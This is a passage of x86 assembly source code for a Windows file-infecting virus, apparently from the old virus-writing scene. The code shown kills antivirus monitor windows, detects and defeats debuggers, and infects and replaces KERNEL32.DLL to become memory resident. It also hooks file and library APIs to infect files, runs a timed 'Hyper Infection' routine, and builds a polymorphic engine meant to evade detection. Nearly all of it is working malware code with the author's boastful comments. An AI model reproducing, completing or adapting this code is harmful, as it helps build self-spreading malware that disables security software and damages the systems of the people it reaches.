||
;Win32API Help to know more or WinBase.H (CBuilder, MSVC)
|
||
;where you can see more flagz and their valuez. So, I can
|
||
;use GetLogicalDrives function, but that's one.
|
||
;
|
||
get_disks:
|
||
|
||
pusha
|
||
xor ebx,ebx
|
||
mov byte ptr [ebp+__disk],'A'
|
||
|
||
; GetDriveType function...
|
||
__gd_search:
|
||
lea eax,[ebp+__disk]
|
||
push eax
|
||
mov eax,[ebp+ddGetDriveTypeA]
|
||
call eax
|
||
|
||
cmp eax,00000003h ;DISK_FIXED flag
|
||
jz __gd_found
|
||
|
||
__gd_new_disk:
|
||
cmp byte ptr [ebp+__disk],'Z'
|
||
jz __gd_finish
|
||
inc byte ptr [ebp+__disk]
|
||
jmp __gd_search
|
||
|
||
__gd_found:
|
||
mov cl,'A'
|
||
sub cl,byte ptr [ebp+__disk]
|
||
neg cl
|
||
mov eax,00000001h
|
||
shl eax,cl ;convert to BCD
|
||
or ebx,eax
|
||
jmp __gd_new_disk
|
||
|
||
__gd_finish:
|
||
mov [ebp+gdt_flags],ebx
|
||
popa
|
||
ret
|
||
|
||
__disk:
|
||
db 'A:\',0
|
||
|
||
;ÄÄÄ´ function to kill some AV monitors ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This is very interesting function how to send message to
|
||
;AV monitor to kill itself (AVP, AMON, AVG, AVAST monitor)
|
||
;
|
||
kill_av_monitors:
|
||
|
||
lea esi,[ebp+kill_AV] ;address of strings
|
||
xor edi,edi
|
||
mov ecx,kill_AV_num ;three monitors
|
||
__kam_checking:
|
||
push ecx ;save counter
|
||
push esi ;AV string
|
||
push edi ;NULL
|
||
call [ebp+ddFindWindowA]
|
||
test eax,eax ;found ?
|
||
je __kam_next_monitor
|
||
push edi ;send message to AV monitor
|
||
push edi ;to kill itself :)
|
||
push 00000012h
|
||
push eax
|
||
call [ebp+ddPostMessageA] ;kill it, hehe :)
|
||
__kam_next_monitor:
|
||
@endsz ;next monitor
|
||
pop ecx
|
||
loop __kam_checking
|
||
ret
|
||
|
||
;ÄÄÄ´ function to kill some debuggers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether some debuggers are active.
|
||
;I use these methods:
|
||
; * IsDebuggerPresent, kill SoftICE, kill TD32, etc.
|
||
;
|
||
;this code has been stolen from Benny's source, hi Benny :)
|
||
;
|
||
kill_debuggers:
|
||
|
||
; check standard debugger
|
||
mov eax,[ebp+ddIsDebuggerPresent]
|
||
IFNDEF DEBUG
|
||
call eax ;check debug...
|
||
or eax,eax
|
||
jnz __kd_found
|
||
ENDIF
|
||
|
||
; check whether SoftICE 95/98/NT/2000 is active
|
||
lea edx,[ebp+kill_SoftICE]
|
||
call __MyOpenFile
|
||
jnc __kd_found
|
||
lea edx,[ebp+kill_SoftICE_NT]
|
||
call __MyOpenFile
|
||
jnc __kd_found
|
||
|
||
; check others debuggers
|
||
mov eax,fs:[20h]
|
||
or eax,eax
|
||
IFNDEF DEBUG
|
||
jnz __kd_found
|
||
ENDIF
|
||
ret
|
||
|
||
__kd_found:
|
||
xor esp,esp ;im sorry :)
|
||
ret
|
||
|
||
;ÄÄÄ´ function to infect KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function have to infect "KERNEL32.DLL" to this virus
|
||
;become memory resident.
|
||
;
|
||
;I would like to thank;
|
||
; * Lord Julus/29A for his article about this in VxTasy.
|
||
;
|
||
__ik_system dd 00000000h ;system directory
|
||
__ik_window dd 00000000h ;window directory
|
||
__ik_wininit db '\WININIT.INI',0
|
||
__ik_nul db 'NUL',0
|
||
__ik_rename db 'Rename',0 ;section name
|
||
;
|
||
infect_kernel:
|
||
|
||
; allocate memory for SYSTEM and WINDOWS directory
|
||
mov eax,filename_size
|
||
call malloc
|
||
mov [ebp+__ik_system],eax
|
||
mov eax,filename_size
|
||
call malloc
|
||
mov [ebp+__ik_window],eax
|
||
|
||
; find SYSTEM directory
|
||
push filename_size
|
||
push [ebp+__ik_system]
|
||
call [ebp+ddGetSystemDirectoryA]
|
||
|
||
; find WINDOWS directory
|
||
push filename_size
|
||
push [ebp+__ik_window]
|
||
call [ebp+ddGetWindowsDirectoryA]
|
||
|
||
; copy \WINDOWS\SYSTEM + \KERNEL32.DLL
|
||
lea eax,[ebp+kernel_name]
|
||
push eax eax
|
||
push [ebp+__ik_system]
|
||
call [ebp+ddlstrcat]
|
||
|
||
; copy \WINDOWS + \KERNEL32.DLL
|
||
push [ebp+__ik_window]
|
||
call [ebp+ddlstrcat]
|
||
|
||
; copy KERNEL32.DLL from SYSTEM directory to '..'
|
||
push 00000000h ;rewrite it
|
||
push [ebp+__ik_window] ;new filepath
|
||
push [ebp+__ik_system] ;actual filename
|
||
call [ebp+ddCopyFileA]
|
||
or eax,eax ;if error, we're probably
|
||
jz __ik_fault ;in memory :)
|
||
|
||
mov eax,[ebp+__ik_window]
|
||
mov [ebp+filename_ptr],eax
|
||
mov [ebp+it_is_kernel],01h ;infect kernel flag
|
||
call infect_file
|
||
|
||
; check system version Win9X or WinNT/2k ?
|
||
call [ebp+ddGetVersion]
|
||
bt eax,3Fh ;get last bit
|
||
jnc __ik_nt2k ;jump if WinNT/2k
|
||
push [ebp+__ik_window]
|
||
call [ebp+ddlstrlen]
|
||
xchg edi,eax
|
||
inc edi
|
||
push filename_size
|
||
push [ebp+__ik_window]
|
||
add [esp],edi
|
||
call [ebp+ddGetWindowsDirectoryA]
|
||
lea eax,[ebp+__ik_wininit] ;wininit file name
|
||
push eax
|
||
push [ebp+__ik_window]
|
||
add [esp],edi
|
||
call [ebp+ddlstrcat] ;window_dir + wininit
|
||
|
||
; create WININIT.INI file and update one !
|
||
push [ebp+__ik_window]
|
||
add [esp],edi
|
||
push [ebp+__ik_system] ;existing KERNEL32.DLL
|
||
lea eax,[ebp+__ik_nul]
|
||
push eax
|
||
lea eax,[ebp+__ik_rename]
|
||
push eax
|
||
call [ebp+ddWritePrivatePFStringA]
|
||
|
||
; build the rename INI instruction
|
||
push [ebp+__ik_window] ;wininit path
|
||
add [esp],edi
|
||
push [ebp+__ik_window] ;infected/old k32
|
||
push [ebp+__ik_system] ;new k32 path
|
||
lea eax,[ebp+__ik_rename] ;rename section
|
||
push eax
|
||
call [ebp+ddWritePrivatePFStringA]
|
||
jmp __ik_fault
|
||
__ik_nt2k:
|
||
push 00000005h ;after reboot, replace
|
||
push [ebp+__ik_system] ;new k32 path
|
||
push [ebp+__ik_window] ;old k32 path
|
||
call [ebp+ddMoveFileExA]
|
||
|
||
__ik_fault:
|
||
mov eax,[ebp+__ik_window]
|
||
call mdealloc
|
||
mov eax,[ebp+__ik_system]
|
||
call mdealloc
|
||
mov [ebp+it_is_kernel],00h
|
||
ret
|
||
|
||
;ÄÄÄ´ hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
myCreateFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myCreateFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
myOpenFile: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
my_lopen: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
|
||
myCopyFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myCopyFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
myMoveFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myMoveFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
myMoveFileExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myMoveFileExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
|
||
myLoadLibraryW db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myLoadLibraryA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
myLoadLibraryExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
||
myLoadLibraryExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
myFreeLibrary: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
||
|
||
EndOfNewFunctions equ this byte
|
||
|
||
;ÄÄÄ´ common hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function is runned from kernel32 file, first time do
|
||
; * clear some valuez, bufferz
|
||
; * delete files in \TEMP\ (droppers)
|
||
; * create "already resident" flag (mutex)
|
||
; * inicialize "Hyper Infection" (SetTimer)
|
||
; * create a crypto thread
|
||
; * get actual process ID
|
||
;Then if I'll catch "FreeLibrary" function, I'll do:
|
||
; * call "crypto_get_library" (more info there)
|
||
;And If I'll catch "LoadLibrary, CreateFile, ..." function
|
||
; * is it a DLL file
|
||
; * call "crypto_thread" by CT_DECRYPTFILE flag
|
||
;
|
||
;We might say this function is the most important in virus
|
||
;many problems were here.
|
||
;
|
||
hookInfectFile:
|
||
|
||
; prepare for UniCode functions
|
||
test al,0F9h ;hidden STC instruction
|
||
|
||
IFDEF DEBUG ;my SoftICE breakpoint
|
||
int 4 ;many battles were here
|
||
ENDIF
|
||
|
||
pusha ;save all registers
|
||
pushf ;save all flags
|
||
pushf
|
||
call get_base_ebp ;get delta offset
|
||
popf
|
||
jnc __hif_no_stop ;ansi version
|
||
call unicode2ansi
|
||
jz __hif_finish ;no bytes converted ?
|
||
jmp __hif_continue
|
||
|
||
; test whether "Prizzy Hyper Infection" has been actived...
|
||
__hif_no_stop:
|
||
cmp dword ptr [ebp+HyperInfection_k32],00000000h
|
||
jnz __hif_continue
|
||
call clear_valuez ;clear archive structures
|
||
call clear_temp_droppers ;delete temp file trom \TEMP\
|
||
call create_mutex ;already resident
|
||
call hookHyperInfection ;inicialize "HyperInfection"
|
||
lea eax,[ebp+crypt_thread] ;create common crypt thread
|
||
mov ebx,ebp ;...and its parameter
|
||
call __MyCreateThread
|
||
mov [ebp+crypto_mainThread],eax
|
||
call [ebp+ddGetCurrentProcessId] ;get process ID number
|
||
mov [ebp+crypto_mainProcId],eax
|
||
mov [ebp+crypto_thread],CT_LOADKEY ;load cryptography
|
||
mov [ebp+crypto_thread_err],'!A92' ;key and wait then
|
||
__hif_crLoadKey:
|
||
push 50 ;active thread to load crypto
|
||
push [ebp+crypto_mainThread] ;key
|
||
call [ebp+ddWaitForSingleObject]
|
||
cmp [ebp+crypto_thread_err],'!A92'
|
||
jz __hif_crLoadKey
|
||
|
||
; which type of function is called ?
|
||
__hif_continue:
|
||
lea eax,[ebp+myCreateFileW] ;start of table
|
||
sub eax,[esp+00000024h] ;return address
|
||
neg eax
|
||
sub eax,00000005h ; - call instruction
|
||
mov ebx,(offset myCreateFileA - offset myCreateFileW)
|
||
cdq
|
||
div ebx ;get number of function
|
||
cmp ax,000Eh ;FreeLibrary ?
|
||
jz crypt_get_library
|
||
|
||
; get filename length
|
||
__hif_get_flen:
|
||
mov esi,[esp+0000002Ch] ;get file name
|
||
push esi
|
||
call [ebp+ddlstrlen] ;not including null terminator
|
||
or eax,eax ;zero length
|
||
jz __hif_finish
|
||
inc eax ; + zero char
|
||
|
||
; copy filename to the buffer
|
||
lea edi,[ebp+filename] ;destination buffer
|
||
mov [ebp+filename_ptr],edi
|
||
mov ecx,eax ;filename length
|
||
rep movsb
|
||
|
||
; upcase characters
|
||
push eax ;number of characters
|
||
push [ebp+filename_ptr] ;filename
|
||
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
||
|
||
; CreateFile, OpenFile, CopyFile, MoveFile, ...
|
||
lea esi,[ebp+filename] ;find the end of filename
|
||
mov [ebp+filename_ptr],esi
|
||
@endsz ;ehm :)
|
||
|
||
; use crypto thread to decrypt file
|
||
cmp [esi-5],'LLD.' ;DLL file ?
|
||
jnz __hif_finish ;or not ?
|
||
cmp [ebp+crypto_thread_err],'!A92'
|
||
jz __hif_finish ;other process ?
|
||
mov [ebp+crypto_thread],CT_DECRYPTFILE
|
||
mov [ebp+crypto_thread_err],'!A92'
|
||
push [ebp+crypto_mainProcId] ;active the process where I
|
||
push 00000000h ;created my thread, I can't
|
||
push 00000001h ;call thread for other pro-
|
||
call [ebp+ddOpenProcess] ;cess, so I have to active
|
||
push eax ;its and then go back, mul-
|
||
__hif_cDecryptFile: ;titasking world !!!
|
||
push 50
|
||
push dword ptr [esp+00000004h]
|
||
call [ebp+ddWaitForSingleObject]
|
||
cmp [ebp+crypto_thread_err],'!A92'
|
||
jz __hif_cDecryptFile ;crypto thread must decrypt
|
||
call [ebp+ddCloseHandle] ;in stack is its handle
|
||
|
||
__hif_finish:
|
||
popf
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ start HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;Before then I will start I must load "USER32", "ADVAPI32"
|
||
;libraries and re-write all my function offsets. I do NOT
|
||
;exactly know whether it must be but when I'll load these
|
||
;libraries sometimes later I should get other offset then
|
||
;after 1st running. Next, I must install timer on "Hyper
|
||
;Infection" function.
|
||
;
|
||
hookHyperInfection:
|
||
|
||
; load "USER32.DLL" library
|
||
lea eax,[ebp+user32_name] ;library name
|
||
call [ebp+ddLoadLibraryA], eax
|
||
or eax,eax ;failed ?
|
||
jz __hhi_finish
|
||
mov ebx,eax
|
||
|
||
; load "ADVAPI32.DLL" library
|
||
lea eax,[ebp+advapi32_name] ;library name
|
||
call [ebp+ddLoadLibraryA], eax
|
||
or eax,eax ;failed ?
|
||
jz __hhi_finish
|
||
|
||
; decrease/increase function bases
|
||
cmp dword ptr [ebp+crypto_Action],00000000h
|
||
jz __hhi_no_cryptography
|
||
sub eax,[ebp+advapi_base] ;new memory position
|
||
mov ecx,(HookedAddresses_user32 - \
|
||
HookedAddresses_advapi32) / 4
|
||
lea esi,[ebp+HookedAddresses_advapi32]
|
||
__hhi_modify_advapi32:
|
||
add [esi],eax
|
||
loop __hhi_modify_advapi32
|
||
__hhi_no_cryptography:
|
||
sub ebx,[ebp+user32_base] ;new memory position
|
||
mov ecx,(FunctionNames - HookedAddresses_user32) / 4
|
||
__hhi_modify_user32:
|
||
add [esi],ebx
|
||
loop __hhi_modify_user32
|
||
|
||
; set timer to the Prizzy Hyper Infection for API, "PHI-API"
|
||
lea eax,[ebp+init_search] ;main function
|
||
push eax
|
||
push 3000 ;every 3 seconds :)
|
||
push 00000000h ;timer identifier
|
||
push 00000000h ;hwnd
|
||
call [ebp+ddSetTimer]
|
||
or eax,eax
|
||
jz __hhi_finish
|
||
|
||
mov [ebp+HyperInfection_timerID],eax
|
||
mov byte ptr [ebp+search_start],00h ;PHI didnt begin
|
||
|
||
__hhi_finish:
|
||
mov dword ptr [ebp+HyperInfection_k32],00000001h
|
||
ret
|
||
|
||
;ÄÄÄ´ finish HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
hookHyperInfection_Done:
|
||
|
||
; remove timer
|
||
push dword ptr [ebp+HyperInfection_timerID]
|
||
call [ebp+ddKillTimer]
|
||
ret
|
||
|
||
;ÄÄÄ´ common standard functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;After every start of windows I compress some programs to
|
||
;TEMP directory (usually four new achives). And every win-
|
||
;dows run I have to delete them.
|
||
;
|
||
__ctd_memory dd 00000000h ;place in memory
|
||
__ctd_fmask db '29A*.TMP',0 ;file mask
|
||
__ctd_fmask_len equ this byte - __ctd_fmask
|
||
;
|
||
clear_temp_droppers:
|
||
|
||
; allocate moemory for TEMP directory
|
||
mov eax,filename_size
|
||
call malloc
|
||
mov [ebp+__ctd_memory],eax
|
||
|
||
; get two TEMP directory
|
||
push eax ;outta buffer
|
||
push filename_size
|
||
call [ebp+ddGetTempPathA]
|
||
or eax,eax ;give me filepath length
|
||
jz __ctd_dealloc
|
||
|
||
; copy filemask in the end of filename
|
||
lea esi,[ebp+__ctd_fmask] ;file mask
|
||
mov edi,[ebp+__ctd_memory] ;outta buffer
|
||
add edi,eax ; + length of dir name
|
||
mov ecx,__ctd_fmask_len ;length of file mask
|
||
rep movsb ;copy me, my lord :) !
|
||
|
||
; search them
|
||
mov ebx,eax
|
||
lea esi,[ebp+dta] ;i can use "infect_file" dta
|
||
mov edx,[ebp+__ctd_memory] ;temp directory + file mask
|
||
call __MyFindFirst
|
||
jc __ctd_dealloc
|
||
|
||
; delete file
|
||
__ctd_next_file:
|
||
push eax ;find handle
|
||
lea esi,[ebp+dta.dta_filename]
|
||
mov edi,[ebp+__ctd_memory]
|
||
add edi,ebx ; + length of dir name
|
||
@copysz ;ahhh, JQwerty's macro :)
|
||
|
||
push [ebp+__ctd_memory] ;filename
|
||
call [ebp+ddDeleteFileA]
|
||
|
||
; search next file
|
||
pop eax ;find handle
|
||
lea esi,[ebp+dta] ;dta
|
||
call __MyFindNext
|
||
jnc __ctd_next_file
|
||
|
||
; close find handle
|
||
call __MyFindClose ;find next file !
|
||
|
||
__ctd_dealloc:
|
||
mov eax,[ebp+__ctd_memory]
|
||
call mdealloc
|
||
__ctd_failed:
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;Clear all archive structures, all droppers, all programs.
|
||
;
|
||
clear_valuez:
|
||
xor eax,eax
|
||
lea edi,[ebp+NewArchive]
|
||
mov ecx,NewArchiveNum * (NewArchiveSize / 4)
|
||
rep stosd
|
||
|
||
; set libraries memory, info
|
||
mov dword ptr [ebp+file_infected],00000000h
|
||
mov eax,100 * 4
|
||
call malloc
|
||
mov [ebp+crypto_library],eax
|
||
mov dword ptr [ebp+crypto_nLib],00000000h
|
||
|
||
; clear HyperTable
|
||
lea esi,[ebp+HyperTable]
|
||
__cv_repeat:
|
||
lodsb ;name or extension or end ?
|
||
cmp al,0FFh
|
||
jz __cv_finish
|
||
call [ebp+ddlstrlen], esi ;get filename
|
||
inc eax ;zero char
|
||
add esi,eax
|
||
mov byte ptr [esi],00h ;search flag !
|
||
add esi,HyperTable_HalfSize
|
||
jmp __cv_repeat
|
||
__cv_finish:
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;Convert Unicode filename to Ansi version.
|
||
;
|
||
unicode2ansi:
|
||
|
||
lea eax,[esp+00000034h] ;UniCode filename
|
||
lea ebx,[ebp+filename]
|
||
push 00000000h ;don't tell me about problem
|
||
push 00000000h ;ignore unmappable characters
|
||
push MAX_PATH ;how many bytes to allocate
|
||
push ebx ;destination buffer
|
||
push -1 ;calculate strlen(string)+1
|
||
push eax ;filename in unicode
|
||
push 00000000h ;no composite characters
|
||
push CP_ACP
|
||
call [ebp+ddWideCharToMultiByte]
|
||
or eax,eax
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;Create mutex or get "already resident" flag.
|
||
;
|
||
; output: (C)arry flag
|
||
;
|
||
create_mutex:
|
||
pusha
|
||
lea eax,[ebp+crypto_mutex] ;mutex name
|
||
push eax
|
||
push 00000001h ;owner
|
||
push 00000000h ;mutex attributes
|
||
call [ebp+ddCreateMutexA]
|
||
push eax
|
||
call [ebp+ddGetLastError] ;already resident ?
|
||
mov ebx,eax
|
||
or ebx,ebx
|
||
jz __cm_finish
|
||
call [ebp+ddReleaseMutex]
|
||
push eax
|
||
__cm_finish:
|
||
pop eax
|
||
mov [esp].access_eax,ebx
|
||
or ebx,ebx ;already resident ?
|
||
jnz __cm_failed
|
||
test al,0F9h ;hidden STC instruction
|
||
__cm_failed equ $-1
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ getting address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;Get delta offset to EBP. The second SUB instruction sub-
|
||
;tract "virus_start". So then I can only use:
|
||
; * LEA EAX,[EBP+pe_header]
|
||
;instead
|
||
; * LEA EAX,[EBP+pe_header - virus_start]
|
||
;
|
||
|
||
get_base_ebp: ;get address where we're
|
||
call $+5
|
||
pop ebp
|
||
sub ebp,$-1-virus_start
|
||
sub ebp,offset virus_start
|
||
ret
|
||
|
||
;ÄÄÄ´ Prizzy Polymorphic Engine II (PPE-II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function generate polymorphic engine with:
|
||
; * brute-attack algorithm
|
||
; * random multi-layer engine
|
||
;Please find "ppe_*" functions to know more, thanks.
|
||
;
|
||
;
|
||
__ppe_st_flags dw ? ;input of tbl_encode_loop
|
||
__ppe_st_items db ? ;items in table
|
||
__ppe_st_o_table dd ? ;offset to the table (part)
|
||
;
|
||
ppe_startup:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; clear tables of (base-register / garbages / JNZ ... )
|
||
mov byte ptr [ebp+used_regs ],00h
|
||
mov byte ptr [ebp+recursive_level],00h
|
||
mov byte ptr [ebp+compare_index ],00h
|
||
mov byte ptr [ebp+gl_index_reg ],-1
|
||
mov dword ptr [ebp+__pllg_memory ],00000000h
|
||
|
||
; set style of garbages (based+flags)
|
||
mov byte ptr [ebp+garbage_style ],not USED_FLAGS
|
||
|
||
; copy virus body to the allocated memory
|
||
lea esi,[ebp+virus_start]
|
||
mov edi,[ebp+mem_address]
|
||
mov ecx,file_size
|
||
rep movsb
|
||
|
||
; clear two SoftICE final breakpoints
|
||
mov eax,[ebp+mem_address]
|
||
mov word ptr [eax+__final_SoftICE_1-virus_start],9090h
|
||
mov word ptr [eax+__final_SoftICE_2-virus_start],9090h
|
||
|
||
; load address of the start of poly-decoder
|
||
mov edi,[ebp+poly_start]
|
||
|
||
; clear table
|
||
xor ebx,ebx
|
||
mov ecx,00000005h
|
||
lea esi,[ebp+tbl_encode_loop]
|
||
__ppes_clear_table:
|
||
lodsw
|
||
__ppes_clear_item:
|
||
mov dword ptr [esi],ebx
|
||
add esi,00000008h
|
||
dec al
|
||
jnz __ppes_clear_item
|
||
dec ecx
|
||
jnz __ppes_clear_table
|
||
|
||
; get global_index_reg
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
mov [ebp+gl_index_reg2],al
|
||
or [ebp+used_regs],ah
|
||
|
||
; get index_reg --> (xor,sub...) [index_reg], reg32
|
||
__ppes_new_ireg:
|
||
call ppe_get_empty_reg
|
||
cmp al,00000101b ;EBP isn't supported
|
||
jz __ppes_new_ireg
|
||
call __reg_to_bcd
|
||
mov [ebp+index_reg],al
|
||
or [ebp+used_regs],ah
|
||
|
||
; get code reg --> (xor,sub...) [---], code_reg
|
||
__ppes_new_creg:
|
||
call ppe_get_empty_reg
|
||
test al,00000100b ;only 8 bits reg
|
||
jnz __ppes_new_creg
|
||
call __reg_to_bcd
|
||
mov [ebp+code_reg],al
|
||
or [ebp+used_regs],ah
|
||
|
||
; get mlayer pointer --> mov reg8, [gl_index_reg+mpointer]
|
||
__ppes_new_lreg:
|
||
call ppe_get_empty_reg
|
||
cmp al,00000101b ;EBP isn't supported
|
||
jz __ppes_new_lreg
|
||
mov [ebp+mlayer_reg],al
|
||
|
||
; generate initial code value
|
||
call ppe_get_rnd32
|
||
mov [ebp+code_value],eax
|
||
call ppe_get_rnd32
|
||
mov [ebp+code_value_add],eax
|
||
|
||
; select style (add/sub/xor)
|
||
mov eax,00000003h
|
||
call ppe_get_rnd_range
|
||
mov [ebp+crypt_style],al
|
||
|
||
; clear used registers (this isn't right time)
|
||
mov byte ptr [ebp+used_regs],00h
|
||
|
||
; choose subroutine
|
||
xor ebx,ebx
|
||
mov ecx,00000005h
|
||
lea esi,[ebp+tbl_encode_loop]
|
||
__ppes_choose:
|
||
lodsw ;AH=random?, AL=items
|
||
mov [ebp+__ppe_st_flags ],ax
|
||
mov [ebp+__ppe_st_items ],al
|
||
mov [ebp+__ppe_st_o_table],esi
|
||
or ah,ah ;random ? JZ if not
|
||
jnz __ppes_crun
|
||
__ppes_cnext:
|
||
mov esi,[ebp+__ppe_st_o_table]
|
||
movzx eax,byte ptr [ebp+__ppe_st_items]
|
||
call ppe_get_rnd_range
|
||
push eax
|
||
imul eax,00000008h
|
||
cmp dword ptr [esi+eax],00000000h
|
||
pop eax
|
||
jnz __ppes_cnext
|
||
imul eax,00000008h
|
||
add esi,eax
|
||
__ppes_crun:
|
||
lodsd ;already generated byte...
|
||
lodsd
|
||
add eax,ebp
|
||
call eax
|
||
mov dword ptr [esi-8],1 ;already generated flag
|
||
dec byte ptr [ebp+__ppe_st_flags]
|
||
jz __ppes_ccmp
|
||
cmp byte ptr [ebp+__ppe_st_flags+01h],00h
|
||
jz __ppes_cnext
|
||
jmp __ppes_crun
|
||
__ppes_ccmp:
|
||
mov esi,[ebp+__ppe_st_o_table]
|
||
movzx eax,byte ptr [ebp+__ppe_st_items]
|
||
imul eax,00000008h
|
||
add esi,eax
|
||
dec ecx
|
||
jnz __ppes_choose
|
||
|
||
; finishing (PPE-II)...
|
||
mov eax,edi
|
||
sub eax,[ebp+mem_address]
|
||
mov [ebp+poly_finish],eax
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ polymorphic garbages PPE-II ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;ÄÄÄ´ generate some garbages code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This main function generates garbages from my great table
|
||
;Function can be recursived but it cannot generate copro
|
||
;garbages yet. You can set (garbage_style) if you want to
|
||
;generate unmodify flags instructions.
|
||
;
|
||
gen_garbage:
|
||
|
||
inc byte ptr [ebp+recursive_level]
|
||
cmp byte ptr [ebp+recursive_level],04h
|
||
jae __gg_exit
|
||
|
||
; are registers full ?
|
||
cmp byte ptr [ebp+used_regs],0EFh
|
||
jz __gg_exit
|
||
|
||
pusha
|
||
mov eax,00000004h
|
||
call ppe_get_rnd_range
|
||
inc eax
|
||
mov ecx,eax
|
||
__gg_loop:
|
||
push ecx
|
||
|
||
; have I use unmodify flags instructions ?
|
||
cmp byte ptr [ebp+garbage_style],USED_FLAGS
|
||
jnz __ggl_flags
|
||
mov eax,(end_no_flags - tbl_no_flags) / 02h
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_no_flags+eax*02h]
|
||
lodsb
|
||
call ppe_get_rnd_range
|
||
add al,[esi]
|
||
call __gg_test
|
||
jc __gg_finish
|
||
lea esi,[ebp+tbl_garbage+04h*eax]
|
||
mov eax,[esi]
|
||
jmp __gg_jump
|
||
|
||
__ggl_flags:
|
||
mov eax,(end_garbage - tbl_garbage) / 04h
|
||
call ppe_get_rnd_range
|
||
call __gg_test
|
||
jc __gg_finish
|
||
lea esi,[ebp+tbl_garbage+eax*04h]
|
||
lodsd
|
||
__gg_jump:
|
||
add eax,ebp
|
||
call eax
|
||
__gg_finish:
|
||
pop ecx
|
||
loop __gg_loop
|
||
|
||
mov [esp],edi
|
||
popa
|
||
|
||
__gg_exit:
|
||
dec byte ptr [ebp+recursive_level]
|
||
ret
|
||
|
||
__gg_test:
|
||
clc
|
||
push eax
|
||
test byte ptr [ebp+garbage_style],not USED_BASED
|
||
jnz __ggt_success
|
||
cmp eax,__garbage_based_num
|
||
jb __ggt_success
|
||
__ggt_failed:
|
||
stc
|
||
__ggt_success:
|
||
pop eax
|
||
ret
|
||
|
||
; gnerate garbage which will not modify flags (mov,stack...)
|
||
gen_garbage_no_flags:
|
||
push ax
|
||
mov al,[ebp+garbage_style]
|
||
mov byte ptr [ebp+garbage_style],USED_FLAGS
|
||
call gen_garbage
|
||
mov byte ptr [ebp+garbage_style],al
|
||
pop ax
|
||
ret
|
||
|
||
;ÄÄÄ´ generate mov reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_movreg32imm: call ppe_get_empty_reg ;mov empty_reg32,imm
|
||
mov al,0b8h
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
call ppe_get_rnd32
|
||
stosd
|
||
ret
|
||
|
||
